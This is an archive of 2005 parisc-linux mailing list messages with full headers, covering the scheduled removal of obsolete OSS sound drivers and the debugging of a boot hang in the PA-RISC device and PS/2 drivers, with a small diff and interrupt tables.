Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32683-08; Sun, 31 Jul 2005 07:38:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 961957D752;
	Sun, 31 Jul 2005 07:38:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8A897D719
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 07:38:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32683-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 07:38:41 -0600 (MDT)
Original-Received: from anchor-post-35.mail.demon.net (anchor-post-35.mail.demon.net
	[194.217.242.85])
	by free.linux.hp.com (Postfix) with ESMTP id 3D3837D6FE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 07:38:41 -0600 (MDT)
Original-Received: from superbug.demon.co.uk ([80.176.146.252] helo=[192.168.1.10])
	by anchor-post-35.mail.demon.net with esmtp (Exim 4.42)
	id 1DzDwz-000NWt-HY; Sun, 31 Jul 2005 13:33:57 +0000
User-Agent: Mozilla Thunderbird 1.0.6 (X11/20050729)
X-Accept-Language: en-us, en
In-Reply-To: <20050726150837.GT3160@stusta.de>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PrGeYnVteSEkX76WZHQhaXN1IGRvb0AU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22991

Adrian Bunk wrote:
> This patch schedules obsolete OSS drivers (with ALSA drivers that 
> support the same hardware) for removal.
> 
> 
> Signed-off-by: Adrian Bunk <bunk@stusta.de>
> 
> ---
> 
> I've Cc'ed the people listed in MAINTAINERS as being responsible for one 
> or more of these drivers, and I've also Cc'ed the ALSA people.
> 

I am happy for the emu10k1 OSS driver to go.
The ALSA driver has considerably more features now.

James
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs head arch/parisc/kernel/drivers.c issues
Date: Sun, 31 Jul 2005 14:47:22 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20050731184722.GH21753@roadwarrior.mcmartin.ca>
References: <20050730231056.GC5500@levanta.com>
	<20050731061254.GG21753@roadwarrior.mcmartin.ca>
	<20050731090005.GD5500@levanta.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623871 15874 80.91.229.3 (22 Nov 2014 02:37:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@levanta.com>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jul 2005 19:16:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 31 Jul 2005 21:16:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7AF6A7D674;
	Sun, 31 Jul 2005 13:16:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01823-04; Sun, 31 Jul 2005 13:16:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC7A87D675;
	Sun, 31 Jul 2005 13:16:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 505B57D673
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 13:16:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01627-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 13:16:27 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id BD8BA7D672
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 13:16:27 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id CE6C417050;
	Sun, 31 Jul 2005 15:16:26 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06727-06; Sun, 31 Jul 2005 15:16:15 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 6BE641707B; Sun, 31 Jul 2005 15:16:15 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-149765948-52656d6f746546617454697265-494e424f582e4f7574626f78: 1122837301-0842120310926-v4.0.10
Content-Disposition: inline
In-Reply-To: <20050731090005.GD5500@levanta.com>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wkafYhRpeSEkb76WZHQhaXN1IGRvb8Ch
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22992

On Sun, Jul 31, 2005 at 10:00:05AM +0100, Richard Hirst wrote:
> Then it hangs.  TOC shows it is in _spin_lock_irqsave() with a return
> address in gscps2_interrupt().
> 

Are you compiling with SMP? I seem to recall some spinlock reorganization
patches may have gone in that we have not yet merged...

-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@stusta.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [2.6 patch] schedule obsolete OSS drivers for
	removal
Date: Sun, 31 Jul 2005 21:29:29 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20050731192929.GG3608__20341.027089353$1416623871$gmane$org@stusta.de>
References: <20050726150837.GT3160@stusta.de>
	<105c793f050726091722f3cbb2@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623871 15878 80.91.229.3 (22 Nov 2014 02:37:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:51 +0000 (UTC)
Cc: alsa-devel@alsa-project.org,
 zaitcev@yahoo.com,
 zwane@commfireservices.com,
 kyle@parisc-linux.org,
 James@superbug.demon.co.uk,
 Thorsten Knabe <linux@thorsten-knabe.de>,
 linux-kernel@vger.kernel.org,
 linux-sound@vger.kernel.org,
 sailer@ife.ee.ethz.ch,
 parisc-linux@lists.parisc-linux.org,
 zab@zabbo.net,
 jgarzik@pobox.com,
 perex@suse.cz
To: Andrew Haninger <ahaning@gmail.com>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jul 2005 19:29:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 31 Jul 2005 21:29:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 276E17D685;
	Sun, 31 Jul 2005 13:29:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02098-06; Sun, 31 Jul 2005 13:29:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 232167D681;
	Sun, 31 Jul 2005 13:29:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC7117D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 13:29:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02098-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 13:29:33 -0600 (MDT)
Original-Received: from mailout.stusta.mhn.de (mailout.stusta.mhn.de [141.84.69.5])
	by free.linux.hp.com (Postfix) with SMTP id 08B397D673
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 13:29:32 -0600 (MDT)
Original-Received: (qmail 27682 invoked from network); 31 Jul 2005 19:29:30 -0000
Original-Received: from r063144.stusta.swh.mhn.de (10.150.63.144)
	by mailhub.stusta.mhn.de with SMTP; 31 Jul 2005 19:29:30 -0000
Original-Received: by r063144.stusta.swh.mhn.de (Postfix, from userid 1000)
	id 170F51CE305; Sun, 31 Jul 2005 21:29:30 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <105c793f050726091722f3cbb2@mail.gmail.com>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /kOfYutqeSEkf76WZHQhaXN1IGRvb0DQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22993

On Tue, Jul 26, 2005 at 12:17:14PM -0400, Andrew Haninger wrote:
> On 7/26/05, Adrian Bunk <bunk@stusta.de> wrote:
> >  config SOUND_OPL3SA2
> >         tristate "Yamaha OPL3-SA2 and SA3 based PnP cards"
> > -       depends on SOUND_OSS
> > +       depends on SOUND_OSS && OBSOLETE_OSS_DRIVER
> >         help
> >           Say Y or M if you have a card based on one of these Yamaha sound
> >           chipsets or the "SAx", which is actually a SA3. Read
> Forgive me if I'm misreading this (I'm hardly a coder and no kernel
> hacker) but, as it stands, the OPL3SA2 driver provided by ALSA and the
> main kernel tree work but are not correctly detected by ALSA's
> detection routines (in alsaconf) on the 2.6 kernel. The OSS drivers
> work, as well, but (AFAIK) there are no methods of automatic
> configuration with the OSS drivers.
> 
> So, for people who don't feel like configuring ALSA with their OPL3SA2
> card, the OSS modules may be easier to configure and thus should be
> left in until the ALSA/2.6 kernel problems are worked out with the
> OPL3SA2.

This is kernel bug #3117 [1] / ALSA bug #879 [2]?

> -Andy

cu
Adrian

[1] http://bugzilla.kernel.org/show_bug.cgi?id=3117
[2] https://bugtrack.alsa-project.org/alsa-bug/view.php?id=879

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@levanta.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs head arch/parisc/kernel/drivers.c issues
Date: Sun, 31 Jul 2005 20:32:29 +0100
Lines: 89
Approved: news@gmane.org
Message-ID: <20050731193229.GE5500@levanta.com>
References: <20050730231056.GC5500@levanta.com>
	<20050731061254.GG21753@roadwarrior.mcmartin.ca>
	<20050731090005.GD5500@levanta.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623872 15882 80.91.229.3 (22 Nov 2014 02:37:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jul 2005 19:32:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 31 Jul 2005 21:32:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A07B27D68C;
	Sun, 31 Jul 2005 13:32:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02309-04; Sun, 31 Jul 2005 13:32:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8895F7D688;
	Sun, 31 Jul 2005 13:32:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE8637D67D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 13:32:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02098-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 13:32:45 -0600 (MDT)
Original-Received: from sleepie.demon.co.uk (sleepie-adsl.demon.co.uk [83.104.228.241])
	by free.linux.hp.com (Postfix) with ESMTP id 9B74E7D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 13:32:44 -0600 (MDT)
Original-Received: by sleepie.demon.co.uk (Postfix, from userid 1000)
	id 61FD127B68B; Sun, 31 Jul 2005 20:32:29 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20050731090005.GD5500@levanta.com>
User-Agent: Mutt/1.4.2i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PkKfYvppeSEkU76WZHQhaXN1IGRvb4Ad
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22994

With the following patch I can boot my C360, although there is not
ps/2 (obviously, given the second part of the diff):

Index: arch/parisc/kernel/drivers.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/drivers.c,v
retrieving revision 1.25
diff -u -r1.25 drivers.c
--- arch/parisc/kernel/drivers.c        26 Jul 2005 23:55:47 -0000      1.25
+++ arch/parisc/kernel/drivers.c        31 Jul 2005 19:22:21 -0000
@@ -448,11 +448,9 @@
        struct parisc_device * pdev = to_parisc_device(dev);
        struct match_id_data * d = data;
 
-       if (check_dev(pdev)) {
-               if (pdev->hw_path == d->id) {
-                       d->dev = pdev;
-                       return 1;
-               }
+       if (pdev->hw_path == d->id) {
+               d->dev = pdev;
+               return 1;
        }
        return 0;
 }
Index: drivers/input/serio/gscps2.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/input/serio/gscps2.c,v
retrieving revision 1.16
diff -u -r1.16 gscps2.c
--- drivers/input/serio/gscps2.c        18 Mar 2005 13:16:54 -0000      1.16
+++ drivers/input/serio/gscps2.c        31 Jul 2005 19:22:29 -0000
@@ -334,7 +334,7 @@
        unsigned long hpa = dev->hpa;
        int ret;
 
-       if (!dev->irq)
+       //if (!dev->irq)
                return -ENODEV;
 
        /* Offset for DINO PS/2. Works with LASI even */


I think the drivers.c part is probably reasonable, although it might be
masking some underlying problem with device discovery.  If I enable the
gscps2 driver the system hangs, possibly with an interrupt storm.

I noticed the 2.6.13 kernel is using completely different IRQ allocations
from 2.6.8 (cat /proc/interrupts); is this expected?


2.6.8

           CPU00
 32:       9151      PARISC-CPU  timer
 33:          0      PARISC-CPU  IPI
 34:        512      PARISC-CPU  lasi
 35:       2053      PARISC-CPU  Dino [8/0]
 36:          0      PARISC-CPU  Cujo
 69:         31            Lasi  GSC PS2 keyboard, GSC PS2 mouse
 86:         68            Lasi  lasi700
 90:        413            Lasi  serial
 96:         30      Dino [8/0]  eth0
 99:       2023      Dino [8/0]  sym53c8xx


2.6.13

 16:       2020        GSC-ASIC  serial
 17:         54        GSC-ASIC  lasi700
 22:       2532         GSC-PCI  sym53c8xx
 23:         36         GSC-PCI  eth0
 64:      94680             CPU  timer
 65:          0             CPU  IPI
 66:       2074             CPU  lasi
 67:       2566             CPU  Dino
 68:          0             CPU  Cujo


When I enable gscps2 it is trying to use IRQ 20.

Richard

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs head arch/parisc/kernel/drivers.c issues
Date: Sun, 31 Jul 2005 15:38:21 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20050731193821.GI21753@roadwarrior.mcmartin.ca>
References: <20050730231056.GC5500@levanta.com>
	<20050731061254.GG21753@roadwarrior.mcmartin.ca>
	<20050731090005.GD5500@levanta.com>
	<20050731193229.GE5500@levanta.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623872 15884 80.91.229.3 (22 Nov 2014 02:37:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@levanta.com>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jul 2005 19:40:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 31 Jul 2005 21:40:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A92E7D693;
	Sun, 31 Jul 2005 13:40:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02358-07; Sun, 31 Jul 2005 13:40:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 40F5F7D68F;
	Sun, 31 Jul 2005 13:40:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 656A47D688
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 13:40:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02358-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 13:40:41 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id D27F57D683
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 13:40:41 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 1A05917050;
	Sun, 31 Jul 2005 15:40:41 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06999-09; Sun, 31 Jul 2005 15:40:29 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 101CE1707B; Sun, 31 Jul 2005 15:40:29 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-631199852-52656d6f746546617454697265-494e424f582e4f7574626f78: 1122838754-0717339004632-v4.0.10
Content-Disposition: inline
In-Reply-To: <20050731193229.GE5500@levanta.com>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FkyfYiIreSEkSb6WZHQhaXN1IGRvb4Dg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22995

On Sun, Jul 31, 2005 at 08:32:29PM +0100, Richard Hirst wrote:
> I noticed the 2.6.13 kernel is using completely different IRQ allocations
> from 2.6.8 (cat /proc/interrupts); is this expected?
> 

Yeah, willy rewrote our interrupt support sometime around 2.6.10.

-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@levanta.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs head arch/parisc/kernel/drivers.c issues
Date: Sun, 31 Jul 2005 00:10:56 +0100
Lines: 116
Approved: news@gmane.org
Message-ID: <20050730231056.GC5500@levanta.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623872 15888 80.91.229.3 (22 Nov 2014 02:37:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
